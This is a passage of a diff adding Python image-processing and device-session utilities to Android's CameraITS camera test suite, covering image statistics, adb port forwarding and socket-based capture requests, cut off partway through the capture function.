+  assert cap['format'] == 'rawStats'
+  w = cap['width']
+  h = cap['height']
+  img = numpy.ndarray(shape=(2 * h * w * 4,), dtype='<f', buffer=cap['data'])
+  analysis_image = img.reshape((2, h, w, 4))
+  mean_image = analysis_image[0, :, :, :].reshape(h, w, 4)
+  var_image = analysis_image[1, :, :, :].reshape(h, w, 4)
+  return mean_image, var_image
+
+
+def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
+  """Get a patch (tile) of an image.
+
+  Args:
+   img: Numpy float image array, with pixel values in [0,1].
+   xnorm:
+   ynorm:
+   wnorm:
+   hnorm: Normalized (in [0,1]) coords for the tile.
+
+  Returns:
+     Numpy float image array of the patch.
+  """
+  hfull = img.shape[0]
+  wfull = img.shape[1]
+  xtile = int(math.ceil(xnorm * wfull))
+  ytile = int(math.ceil(ynorm * hfull))
+  wtile = int(math.floor(wnorm * wfull))
+  htile = int(math.floor(hnorm * hfull))
+  if len(img.shape) == 2:
+    return img[ytile:ytile + htile, xtile:xtile + wtile].copy()
+  else:
+    return img[ytile:ytile + htile, xtile:xtile + wtile, :].copy()
+
+
+def compute_image_means(img):
+  """Calculate the mean of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+     A list of mean values, one per color channel in the image.
+  """
+  means = []
+  chans = img.shape[2]
+  for i in range(chans):
+    means.append(numpy.mean(img[:, :, i], dtype=numpy.float64))
+  return means
+
+
+def compute_image_variances(img):
+  """Calculate the variance of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+    A list of variance values, one per color channel in the image.
+  """
+  variances = []
+  chans = img.shape[2]
+  for i in range(chans):
+    variances.append(numpy.var(img[:, :, i], dtype=numpy.float64))
+  return variances
+
+
+def compute_image_sharpness(img):
+  """Calculate the sharpness of input image.
+
+  Args:
+    img: numpy float RGB/luma image array, with pixel values in [0,1].
+
+  Returns:
+    Sharpness estimation value based on the average of gradient magnitude.
+    Larger value means the image is sharper.
+  """
+  chans = img.shape[2]
+  assert chans == 1 or chans == 3
+  if chans == 1:
+    luma = img[:, :, 0]
+  else:
+    luma = convert_rgb_to_grayscale(img)
+  gy, gx = numpy.gradient(luma)
+  return numpy.average(numpy.sqrt(gy*gy + gx*gx))
+
+
+def compute_image_max_gradients(img):
+  """Calculate the maximum gradient of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+    A list of gradient max values, one per color channel in the image.
+  """
+  grads = []
+  chans = img.shape[2]
+  for i in range(chans):
+    grads.append(numpy.amax(numpy.gradient(img[:, :, i])))
+  return grads
+
+
+def compute_image_snrs(img):
+  """Calculate the SNR (dB) of each color channel in the image.
+
+  Args:
+    img: Numpy float image array, with pixel values in [0,1].
+
+  Returns:
+    A list of SNR values in dB, one per color channel in the image.
+  """
+  means = compute_image_means(img)
+  variances = compute_image_variances(img)
+  std_devs = [math.sqrt(v) for v in variances]
+  snrs = [20 * math.log10(m/s) for m, s in zip(means, std_devs)]
+  return snrs
+
+
+def convert_rgb_to_grayscale(img):
+  """Convert and 3-D array RGB image to grayscale image.
+
+  Args:
+    img: numpy float RGB/luma image array, with pixel values in [0,1].
+
+  Returns:
+    2-D grayscale image
+  """
+  assert img.shape[2] == 3, 'Not an RGB image'
+  return 0.299*img[:, :, 0] + 0.587*img[:, :, 1] + 0.114*img[:, :, 2]
+
+
+def normalize_img(img):
+  """Normalize the image values to between 0 and 1.
+
+  Args:
+    img: 2-D numpy array of image values
+  Returns:
+    Normalized image
+  """
+  return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
+
+
+def rotate_img_per_argv(img):
+  """Rotate an image 180 degrees if "rotate" is in argv.
+
+  Args:
+    img: 2-D numpy array of image values
+  Returns:
+    Rotated image
+  """
+  img_out = img
+  if 'rotate180' in sys.argv:
+    img_out = numpy.fliplr(numpy.flipud(img_out))
+  return img_out
+
+
+def chart_located_per_argv(chart_loc_arg):
+  """Determine if chart already located outside of test.
+
+  If chart info provided, return location and size. If not, return None.
+  Args:
+   chart_loc_arg: chart_loc arg value.
+
+  Returns:
+    chart_loc:  float converted xnorm,ynorm,wnorm,hnorm,scale from argv
+    text.argv is of form 'chart_loc=0.45,0.45,0.1,0.1,1.0'
+  """
+  if chart_loc_arg:
+    return map(float, chart_loc_arg)
+  return None, None, None, None, None
+
+
+def stationary_lens_cap(cam, req, fmt):
+  """Take up to NUM_TRYS caps and save the 1st one with lens stationary.
+
+  Args:
+   cam: open device session
+   req: capture request
+   fmt: format for capture
+
+  Returns:
+    capture
+  """
+  tries = 0
+  done = False
+  reqs = [req] * NUM_FRAMES
+  while not done:
+    logging.debug('Waiting for lens to move to correct location.')
+    cap = cam.do_capture(reqs, fmt)
+    done = (cap[NUM_FRAMES - 1]['metadata']['android.lens.state'] == 0)
+    logging.debug('status: %s', done)
+    tries += 1
+    if tries == NUM_TRIES:
+      raise error_util.CameraItsError('Cannot settle lens after %d tries!' %
+                                      tries)
+  return cap[NUM_FRAMES - 1]
+
+
+def compute_image_rms_difference(rgb_x, rgb_y):
+  """Calculate the RMS difference between 2 RBG images.
+
+  Args:
+    rgb_x: image array
+    rgb_y: image array
+
+  Returns:
+    rms_diff
+  """
+  len_rgb_x = len(rgb_x)
+  assert len(rgb_y) == len_rgb_x, 'The images have different number of planes.'
+  return math.sqrt(sum([pow(rgb_x[i] - rgb_y[i], 2.0)
+                        for i in range(len_rgb_x)]) / len_rgb_x)
+
+
+class ImageProcessingUtilsTest(unittest.TestCase):
+  """Unit tests for this module."""
+  _SQRT_2 = numpy.sqrt(2)
+  _YUV_FULL_SCALE = 1023
+
+  def test_unpack_raw10_image(self):
+    """Unit test for unpack_raw10_image.
+
+    RAW10 bit packing format
+            bit 7   bit 6   bit 5   bit 4   bit 3   bit 2   bit 1   bit 0
+    Byte 0: P0[9]   P0[8]   P0[7]   P0[6]   P0[5]   P0[4]   P0[3]   P0[2]
+    Byte 1: P1[9]   P1[8]   P1[7]   P1[6]   P1[5]   P1[4]   P1[3]   P1[2]
+    Byte 2: P2[9]   P2[8]   P2[7]   P2[6]   P2[5]   P2[4]   P2[3]   P2[2]
+    Byte 3: P3[9]   P3[8]   P3[7]   P3[6]   P3[5]   P3[4]   P3[3]   P3[2]
+    Byte 4: P3[1]   P3[0]   P2[1]   P2[0]   P1[1]   P1[0]   P0[1]   P0[0]
+    """
+    # Test using a random 4x4 10-bit image
+    img_w, img_h = 4, 4
+    check_list = random.sample(range(0, 1024), img_h*img_w)
+    img_check = numpy.array(check_list).reshape(img_h, img_w)
+
+    # Pack bits
+    for row_start in range(0, len(check_list), img_w):
+      msbs = []
+      lsbs = ''
+      for pixel in range(img_w):
+        val = numpy.binary_repr(check_list[row_start+pixel], 10)
+        msbs.append(int(val[:8], base=2))
+        lsbs = val[8:] + lsbs
+      packed = msbs
+      packed.append(int(lsbs, base=2))
+      chunk_raw10 = numpy.array(packed, dtype='uint8').reshape(1, 5)
+      if row_start == 0:
+        img_raw10 = chunk_raw10
+      else:
+        img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
+
+    # Unpack and check against original
+    self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
+                                      img_check))
+
+  def test_compute_image_sharpness(self):
+    """Unit test for compute_img_sharpness.
+
+    Tests by using PNG of ISO12233 chart and blurring intentionally.
+    'sharpness' should drop off by sqrt(2) for 2x blur of image.
+
+    We do one level of initial blur as PNG image is not perfect.
+    """
+    blur_levels = [2, 4, 8]
+    chart_file = os.path.join(TEST_IMG_DIR, 'ISO12233.png')
+    chart = cv2.imread(chart_file, cv2.IMREAD_ANYDEPTH)
+    white_level = numpy.amax(chart).astype(float)
+    sharpness = {}
+    for blur in blur_levels:
+      chart_blurred = cv2.blur(chart, (blur, blur))
+      chart_blurred = chart_blurred[:, :, numpy.newaxis]
+      sharpness[blur] = self._YUV_FULL_SCALE * compute_image_sharpness(
+          chart_blurred / white_level)
+
+    for i in range(len(blur_levels)-1):
+      self.assertTrue(numpy.isclose(
+          sharpness[blur_levels[i]]/sharpness[blur_levels[i+1]], self._SQRT_2,
+          atol=0.1))
+
+  def test_apply_lut_to_image(self):
+    """Unit test for apply_lut_to_image.
+
+    Test by using a canned set of values on a 1x1 pixel image.
+    The look-up table should double the value of the index: lut[x] = x*2
+    """
+    ref_image = [0.1, 0.2, 0.3]
+    lut_max = 65536
+    lut = numpy.array([i*2 for i in range(lut_max)])
+    x = numpy.array(ref_image).reshape(1, 1, 3)
+    y = apply_lut_to_image(x, lut).reshape(3).tolist()
+    y_ref = [i*2 for i in ref_image]
+    self.assertTrue(numpy.allclose(y, y_ref, atol=1/lut_max))
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
new file mode 100644
index 0000000..92c29df
--- /dev/null
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -0,0 +1,1258 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Utility functions to form an ItsSession and perform various camera actions.
+"""
+
+
+import collections
+import json
+import logging
+import math
+import os
+import socket
+import subprocess
+import sys
+import time
+import unicodedata
+import unittest
+
+import numpy
+
+import camera_properties_utils
+import capture_request_utils
+import error_util
+import image_processing_utils
+import opencv_processing_utils
+
+LOAD_SCENE_DELAY_SEC = 3
+SUB_CAMERA_SEPARATOR = '.'
+_VALIDATE_LIGHTING_PATCH_H = 0.05
+_VALIDATE_LIGHTING_PATCH_W = 0.05
+_VALIDATE_LIGHTING_REGIONS = {
+    'top-left': (0, 0),
+    'top-right': (0, 1-_VALIDATE_LIGHTING_PATCH_H),
+    'bottom-left': (1-_VALIDATE_LIGHTING_PATCH_W, 0),
+    'bottom-right': (1-_VALIDATE_LIGHTING_PATCH_W,
+                     1-_VALIDATE_LIGHTING_PATCH_H),
+}
+_VALIDATE_LIGHTING_THRESH = 0.05  # Determined empirically from scene[1:6] tests
+
+
+class ItsSession(object):
+  """Controls a device over adb to run ITS scripts.
+
+    The script importing this module (on the host machine) prepares JSON
+    objects encoding CaptureRequests, specifying sets of parameters to use
+    when capturing an image using the Camera2 APIs. This class encapsulates
+    sending the requests to the device, monitoring the device's progress, and
+    copying the resultant captures back to the host machine when done. TCP
+    forwarded over adb is the transport mechanism used.
+
+    The device must have CtsVerifier.apk installed.
+
+    Attributes:
+        sock: The open socket.
+  """
+
+  # Open a connection to localhost:<host_port>, forwarded to port 6000 on the
+  # device. <host_port> is determined at run-time to support multiple
+  # connected devices.
+  IPADDR = '127.0.0.1'
+  REMOTE_PORT = 6000
+  BUFFER_SIZE = 4096
+
+  # LOCK_PORT is used as a mutex lock to protect the list of forwarded ports
+  # among all processes. The script assumes LOCK_PORT is available and will
+  # try to use ports between CLIENT_PORT_START and
+  # CLIENT_PORT_START+MAX_NUM_PORTS-1 on host for ITS sessions.
+  CLIENT_PORT_START = 6000
+  MAX_NUM_PORTS = 100
+  LOCK_PORT = CLIENT_PORT_START + MAX_NUM_PORTS
+
+  # Seconds timeout on each socket operation.
+  SOCK_TIMEOUT = 20.0
+  # Additional timeout in seconds when ITS service is doing more complicated
+  # operations, for example: issuing warmup requests before actual capture.
+  EXTRA_SOCK_TIMEOUT = 5.0
+
+  PACKAGE = 'com.android.cts.verifier.camera.its'
+  INTENT_START = 'com.android.cts.verifier.camera.its.START'
+
+  # This string must be in sync with ItsService. Updated when interface
+  # between script and ItsService is changed.
+  ITS_SERVICE_VERSION = '1.0'
+
+  SEC_TO_NSEC = 1000*1000*1000.0
+  adb = 'adb -d'
+
+  # Predefine camera props. Save props extracted from the function,
+  # "get_camera_properties".
+  props = None
+
+  IMAGE_FORMAT_LIST_1 = [
+      'jpegImage', 'rawImage', 'raw10Image', 'raw12Image', 'rawStatsImage',
+      'dngImage', 'y8Image'
+  ]
+
+  IMAGE_FORMAT_LIST_2 = [
+      'jpegImage', 'rawImage', 'raw10Image', 'raw12Image', 'rawStatsImage',
+      'yuvImage'
+  ]
+
+  CAP_JPEG = {'format': 'jpeg'}
+  CAP_RAW = {'format': 'raw'}
+  CAP_YUV = {'format': 'yuv'}
+  CAP_RAW_YUV = [{'format': 'raw'}, {'format': 'yuv'}]
+
+  def __init_socket_port(self):
+    """Initialize the socket port for the host to forward requests to the device.
+
+    This method assumes localhost's LOCK_PORT is available and will try to
+    use ports between CLIENT_PORT_START and CLIENT_PORT_START+MAX_NUM_PORTS-1
+    """
+    num_retries = 100
+    retry_wait_time_sec = 0.05
+
+    # Bind a socket to use as mutex lock
+    socket_lock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    for i in range(num_retries):
+      try:
+        socket_lock.bind((ItsSession.IPADDR, ItsSession.LOCK_PORT))
+        break
+      except (socket.error, socket.timeout):
+        if i == num_retries - 1:
+          raise error_util.CameraItsError(self._device_id,
+                                          'socket lock returns error')
+        else:
+          time.sleep(retry_wait_time_sec)
+
+    # Check if a port is already assigned to the device.
+    command = 'adb forward --list'
+    proc = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
+    # pylint: disable=unused-variable
+    output, error = proc.communicate()
+    port = None
+    used_ports = []
+    for line  in output.decode('utf-8').split(os.linesep):
+      # each line should be formatted as:
+      # "<device_id> tcp:<host_port> tcp:<remote_port>"
+      forward_info = line.split()
+      if len(forward_info) >= 3 and len(
+          forward_info[1]) > 4 and forward_info[1][:4] == 'tcp:' and len(
+              forward_info[2]) > 4 and forward_info[2][:4] == 'tcp:':
+        local_p = int(forward_info[1][4:])
+        remote_p = int(forward_info[2][4:])
+        if forward_info[
+            0] == self._device_id and remote_p == ItsSession.REMOTE_PORT:
+          port = local_p
+          break
+        else:
+          used_ports.append(local_p)
+
+      # Find the first available port if no port is assigned to the device.
+    if port is None:
+      for p in range(ItsSession.CLIENT_PORT_START,
+                     ItsSession.CLIENT_PORT_START + ItsSession.MAX_NUM_PORTS):
+        if self.check_port_availability(p, used_ports):
+          port = p
+          break
+
+    if port is None:
+      raise error_util.CameraItsError(self._device_id,
+                                      ' cannot find an available ' + 'port')
+
+    # Release the socket as mutex unlock
+    socket_lock.close()
+
+    # Connect to the socket
+    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    self.sock.connect((self.IPADDR, port))
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+
+  def check_port_availability(self, check_port, used_ports):
+    """Check if the port is available or not.
+
+    Args:
+      check_port: Port to check for availability
+      used_ports: List of used ports
+
+    Returns:
+     True if the given port is available and can be assigned to the device.
+    """
+    if check_port not in used_ports:
+      # Try to run "adb forward" with the port
+      command = '%s forward tcp:%d tcp:%d' % \
+                       (self.adb, check_port, self.REMOTE_PORT)
+      proc = subprocess.Popen(
+          command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+      error = proc.communicate()[1]
+
+      # Check if there is no error
+      if error is None or error.find('error'.encode()) < 0:
+        return True
+      else:
+        return False
+
+  def __wait_for_service(self):
+    """Wait for ItsService to be ready and reboot the device if needed.
+
+    This also includes the optional reboot handling: if the user
+    provides a "reboot" or "reboot=N" arg, then reboot the device,
+    waiting for N seconds (default 30) before returning.
+    """
+
+    for s in sys.argv[1:]:
+      if s[:6] == 'reboot':
+        duration = 30
+        if len(s) > 7 and s[6] == '=':
+          duration = int(s[7:])
+        logging.debug('Rebooting device')
+        _run('%s reboot' % (self.adb))
+        _run('%s wait-for-device' % (self.adb))
+        time.sleep(duration)
+        logging.debug('Reboot complete')
+
+    # Flush logcat so following code won't be misled by previous
+    # 'ItsService ready' log.
+    _run('%s logcat -c' % (self.adb))
+    time.sleep(1)
+
+    _run('%s shell am force-stop --user 0 %s' % (self.adb, self.PACKAGE))
+    _run(('%s shell am start-foreground-service --user 0 -t text/plain '
+          '-a %s') % (self.adb, self.INTENT_START))
+
+    # Wait until the socket is ready to accept a connection.
+    proc = subprocess.Popen(
+        self.adb.split() + ['logcat'], stdout=subprocess.PIPE)
+    logcat = proc.stdout
+    while True:
+      line = logcat.readline().strip()
+      if line.find(b'ItsService ready') >= 0:
+        break
+    proc.kill()
+    proc.communicate()
+
+  def __init__(self, device_id=None, camera_id=None, hidden_physical_id=None):
+    self._camera_id = camera_id
+    self._device_id = device_id
+    self._hidden_physical_id = hidden_physical_id
+
+  def __enter__(self):
+    # Initialize device id and adb command.
+    self.adb = 'adb -s ' + self._device_id
+    self.__wait_for_service()
+    self.__init_socket_port()
+
+    self.__close_camera()
+    self.__open_camera()
+    return self
+
+  def __exit__(self, exec_type, exec_value, exec_traceback):
+    if hasattr(self, 'sock') and self.sock:
+      self.__close_camera()
+      self.sock.close()
+    return False
+
+  def override_with_hidden_physical_camera_props(self, props):
+    """Check that it is a valid sub-camera backing the logical camera.
+
+    If current session is for a hidden physical camera, check that it is a valid
+    sub-camera backing the logical camera, override self.props, and return the
+    characteristics of sub-camera. Otherwise, return "props" directly.
+
+    Args:
+     props: Camera properties object.
+
+    Returns:
+     The properties of the hidden physical camera if possible.
+    """
+    if self._hidden_physical_id:
+      if not camera_properties_utils.logical_multi_camera(props):
+        raise AssertionError(f'{self._camera_id} is not a logical multi-camera')
+      physical_ids = camera_properties_utils.logical_multi_camera_physical_ids(
+          props)
+      if self._hidden_physical_id not in physical_ids:
+        raise AssertionError(f'{self._hidden_physical_id} is not a hidden '
+                             f'sub-camera of {self._camera_id}')
+      props = self.get_camera_properties_by_id(self._hidden_physical_id)
+      self.props = props
+    return props
+
+  def get_camera_properties(self):
+    """Get the camera properties object for the device.
+
+    Returns:
+     The Python dictionary object for the CameraProperties object.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'getCameraProperties'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraProperties':
+      raise error_util.CameraItsError('Invalid command response')
+    self.props = data['objValue']['cameraProperties']
+    return data['objValue']['cameraProperties']
+
+  def get_camera_properties_by_id(self, camera_id):
+    """Get the camera properties object for device with camera_id.
+
+    Args:
+     camera_id: The ID string of the camera
+
+    Returns:
+     The Python dictionary object for the CameraProperties object. Empty
+     if no such device exists.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'getCameraPropertiesById'
+    cmd['cameraId'] = camera_id
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraProperties':
+      raise error_util.CameraItsError('Invalid command response')
+    return data['objValue']['cameraProperties']
+
+  def __read_response_from_socket(self):
+    """Reads a line (newline-terminated) string serialization of JSON object.
+
+    Returns:
+     Deserialized json obj.
+    """
+    chars = []
+    while not chars or chars[-1] != '\n':
+      ch = self.sock.recv(1).decode('utf-8')
+      if not ch:
+        # Socket was probably closed; otherwise don't get empty strings
+        raise error_util.CameraItsError('Problem with socket on device side')
+      chars.append(ch)
+    line = ''.join(chars)
+    jobj = json.loads(line)
+    # Optionally read a binary buffer of a fixed size.
+    buf = None
+    if 'bufValueSize' in jobj:
+      n = jobj['bufValueSize']
+      buf = bytearray(n)
+      view = memoryview(buf)
+      while n > 0:
+        nbytes = self.sock.recv_into(view, n)
+        view = view[nbytes:]
+        n -= nbytes
+      buf = numpy.frombuffer(buf, dtype=numpy.uint8)
+    return jobj, buf
+
+  def __open_camera(self):
+    """Get the camera ID to open if it is an argument as a single camera.
+
+    This allows passing camera=# to individual tests at command line
+    and camera=#,#,# or an no camera argv with tools/run_all_tests.py.
+    In case the camera is a logical multi-camera, to run ITS on the
+    hidden physical sub-camera, pass camera=[logical ID]:[physical ID]
+    to an individual test at the command line, and same applies to multiple
+    camera IDs for tools/run_all_tests.py: camera=#,#:#,#:#,#
+    """
+    if not self._camera_id:
+      self._camera_id = 0
+      for s in sys.argv[1:]:
+        if s[:7] == 'camera=' and len(s) > 7:
+          camera_ids = s[7:].split(',')
+          camera_id_combos = parse_camera_ids(camera_ids)
+          if len(camera_id_combos) == 1:
+            self._camera_id = camera_id_combos[0].id
+            self._hidden_physical_id = camera_id_combos[0].sub_id
+
+    logging.debug('Opening camera: %s', self._camera_id)
+    cmd = {'cmdName': 'open', 'cameraId': self._camera_id}
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraOpened':
+      raise error_util.CameraItsError('Invalid command response')
+
+  def __close_camera(self):
+    cmd = {'cmdName': 'close'}
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'cameraClosed':
+      raise error_util.CameraItsError('Invalid command response')
+
+  def get_sensors(self):
+    """Get all sensors on the device.
+
+    Returns:
+       A Python dictionary that returns keys and booleans for each sensor.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'checkSensorExistence'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'sensorExistence':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+    return data['objValue']
+
+  def start_sensor_events(self):
+    """Start collecting sensor events on the device.
+
+    See get_sensor_events for more info.
+
+    Returns:
+       Nothing.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'startSensorEvents'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'sensorEventsStarted':
+      raise error_util.CameraItsError('Invalid response for command: %s' %
+                                      cmd['cmdName'])
+
+  def get_sensor_events(self):
+    """Get a trace of all sensor events on the device.
+
+        The trace starts when the start_sensor_events function is called. If
+        the test runs for a long time after this call, then the device's
+        internal memory can fill up. Calling get_sensor_events gets all events
+        from the device, and then stops the device from collecting events and
+        clears the internal buffer; to start again, the start_sensor_events
+        call must be used again.
+
+        Events from the accelerometer, compass, and gyro are returned; each
+        has a timestamp and x,y,z values.
+
+        Note that sensor events are only produced if the device isn't in its
+        standby mode (i.e.) if the screen is on.
+
+    Returns:
+            A Python dictionary with three keys ("accel", "mag", "gyro") each
+            of which maps to a list of objects containing "time","x","y","z"
+            keys.
+    """
+    cmd = {}
+    cmd['cmdName'] = 'getSensorEvents'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+    timeout = self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT
+    self.sock.settimeout(timeout)
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'sensorEvents':
+      raise error_util.CameraItsError('Invalid response for command: %s ' %
+                                      cmd['cmdName'])
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+    return data['objValue']
+
+  def do_capture(self,
+                 cap_request,
+                 out_surfaces=None,
+                 reprocess_format=None,
+                 repeat_request=None):
+    """Issue capture request(s), and read back the image(s) and metadata.
+
+    The main top-level function for capturing one or more images using the
+    device. Captures a single image if cap_request is a single object, and
+    captures a burst if it is a list of objects.
+
+    The optional repeat_request field can be used to assign a repeating
+    request list ran in background for 3 seconds to warm up the capturing
+    pipeline before start capturing. The repeat_requests will be ran on a
+    640x480 YUV surface without sending any data back. The caller needs to
+    make sure the stream configuration defined by out_surfaces and
+    repeat_request are valid or do_capture may fail because device does not
+    support such stream configuration.
+
+    The out_surfaces field can specify the width(s), height(s), and
+    format(s) of the captured image. The formats may be "yuv", "jpeg",
+    "dng", "raw", "raw10", "raw12", "rawStats" or "y8". The default is a
+    YUV420 frame ("yuv") corresponding to a full sensor frame.
+
+    Optionally the out_surfaces field can specify physical camera id(s) if
+    the current camera device is a logical multi-camera. The physical camera
+    id must refer to a physical camera backing this logical camera device.
+
+    Note that one or more surfaces can be specified, allowing a capture to
+    request images back in multiple formats (e.g.) raw+yuv, raw+jpeg,
+    yuv+jpeg, raw+yuv+jpeg. If the size is omitted for a surface, the
+    default is the largest resolution available for the format of that
+    surface. At most one output surface can be specified for a given format,
+    and raw+dng, raw10+dng, and raw+raw10 are not supported as combinations.
+
+    If reprocess_format is not None, for each request, an intermediate
+    buffer of the given reprocess_format will be captured from camera and
+    the intermediate buffer will be reprocessed to the output surfaces. The
+    following settings will be turned off when capturing the intermediate
+    buffer and will be applied when reprocessing the intermediate buffer.
+    1. android.noiseReduction.mode
+    2. android.edge.mode
+    3. android.reprocess.effectiveExposureFactor
+
+    Supported reprocess format are "yuv" and "private". Supported output
+    surface formats when reprocessing is enabled are "yuv" and "jpeg".
+
+    Example of a single capture request:
+
+    {
+     "android.sensor.exposureTime": 100*1000*1000,
+     "android.sensor.sensitivity": 100
+    }
+
+    Example of a list of capture requests:
+    [
+     {
+       "android.sensor.exposureTime": 100*1000*1000,
+       "android.sensor.sensitivity": 100
+     },
+    {
+      "android.sensor.exposureTime": 100*1000*1000,
+       "android.sensor.sensitivity": 200
+     }
+    ]
+
+    Example of output surface specifications:
+    {
+     "width": 640,
+     "height": 480,
+     "format": "yuv"
+    }
+    [
+     {
+       "format": "jpeg"
+     },
+     {
+       "format": "raw"
+     }
+    ]
+
+    The following variables defined in this class are shortcuts for
+    specifying one or more formats where each output is the full size for
+    that format; they can be used as values for the out_surfaces arguments:
+
+    CAP_RAW
+    CAP_DNG
+    CAP_YUV
+    CAP_JPEG
+    CAP_RAW_YUV
+    CAP_DNG_YUV
+    CAP_RAW_JPEG
+    CAP_DNG_JPEG
+    CAP_YUV_JPEG
+    CAP_RAW_YUV_JPEG
+    CAP_DNG_YUV_JPEG
+
+    If multiple formats are specified, then this function returns multiple
+    capture objects, one for each requested format. If multiple formats and
+    multiple captures (i.e. a burst) are specified, then this function
+    returns multiple lists of capture objects. In both cases, the order of
+    the returned objects matches the order of the requested formats in the
+    out_surfaces parameter. For example:
+
+    yuv_cap = do_capture(req1)
+    yuv_cap = do_capture(req1,yuv_fmt)
+    yuv_cap, raw_cap = do_capture(req1, [yuv_fmt,raw_fmt])
+    yuv_caps = do_capture([req1,req2], yuv_fmt)
+    yuv_caps, raw_caps = do_capture([req1,req2], [yuv_fmt,raw_fmt])
+
+    The "rawStats" format processes the raw image and returns a new image
+    of statistics from the raw image. The format takes additional keys,
+    "gridWidth" and "gridHeight" which are size of grid cells in a 2D grid
+    of the raw image. For each grid cell, the mean and variance of each raw
+    channel is computed, and the do_capture call returns two 4-element float
+    images of dimensions (rawWidth / gridWidth, rawHeight / gridHeight),
+    concatenated back-to-back, where the first image contains the 4-channel
+    means and the second contains the 4-channel variances. Note that only
+    pixels in the active array crop region are used; pixels outside this
+    region (for example optical black rows) are cropped out before the
+    gridding and statistics computation is performed.
+
+    For the rawStats format, if the gridWidth is not provided then the raw
+    image width is used as the default, and similarly for gridHeight. With
+    this, the following is an example of a output description that computes
+    the mean and variance across each image row:
+    {
+      "gridHeight": 1,
+      "format": "rawStats"
+    }
+
+    Args:
+      cap_request: The Python dict/list specifying the capture(s), which will be
+        converted to JSON and sent to the device.
+      out_surfaces: (Optional) specifications of the output image formats and
+        sizes to use for each capture.
+      reprocess_format: (Optional) The reprocessing format. If not
+        None,reprocessing will be enabled.
+      repeat_request: Repeating request list.
+
+    Returns:
+      An object, list of objects, or list of lists of objects, where each
+      object contains the following fields:
+      * data: the image data as a numpy array of bytes.
+      * width: the width of the captured image.
+      * height: the height of the captured image.
+      * format: image the format, in [
+                        "yuv","jpeg","raw","raw10","raw12","rawStats","dng"].
+      * metadata: the capture result object (Python dictionary).
+    """
+    cmd = {}
+    if reprocess_format is not None:
+      if repeat_request is not None:
+        raise error_util.CameraItsError(
+            'repeating request + reprocessing is not supported')
+      cmd['cmdName'] = 'doReprocessCapture'
+      cmd['reprocessFormat'] = reprocess_format
+    else:
+      cmd['cmdName'] = 'doCapture'
+
+    if repeat_request is None:
+      cmd['repeatRequests'] = []
+    elif not isinstance(repeat_request, list):
+      cmd['repeatRequests'] = [repeat_request]
+    else:
+      cmd['repeatRequests'] = repeat_request
+
+    if not isinstance(cap_request, list):
+      cmd['captureRequests'] = [cap_request]
+    else:
+      cmd['captureRequests'] = cap_request
+
+    if out_surfaces is not None:
+      if not isinstance(out_surfaces, list):
+        cmd['outputSurfaces'] = [out_surfaces]
+      else:
+        cmd['outputSurfaces'] = out_surfaces
+      formats = [
+          c['format'] if 'format' in c else 'yuv' for c in cmd['outputSurfaces']
+      ]
+      formats = [s if s != 'jpg' else 'jpeg' for s in formats]
+    else:
+      max_yuv_size = capture_request_utils.get_available_output_sizes(
+          'yuv', self.props)[0]
+      formats = ['yuv']
+      cmd['outputSurfaces'] = [{
+          'format': 'yuv',
+          'width': max_yuv_size[0],
+          'height': max_yuv_size[1]
+      }]
+
+    ncap = len(cmd['captureRequests'])
+    nsurf = 1 if out_surfaces is None else len(cmd['outputSurfaces'])
+
+    cam_ids = []
+    bufs = {}
+    yuv_bufs = {}
+    for i, s in enumerate(cmd['outputSurfaces']):
+      if self._hidden_physical_id:
+        s['physicalCamera'] = self._hidden_physical_id
+
+      if 'physicalCamera' in s:
+        cam_id = s['physicalCamera']
+      else:
+        cam_id = self._camera_id
+
+      if cam_id not in cam_ids:
+        cam_ids.append(cam_id)
+        bufs[cam_id] = {
+            'raw': [],
+            'raw10': [],
+            'raw12': [],
+            'rawStats': [],
+            'dng': [],
+            'jpeg': [],
+            'y8': []
+        }
+
+    for cam_id in cam_ids:
+       # Only allow yuv output to multiple targets
+      if cam_id == self._camera_id:
+        yuv_surfaces = [
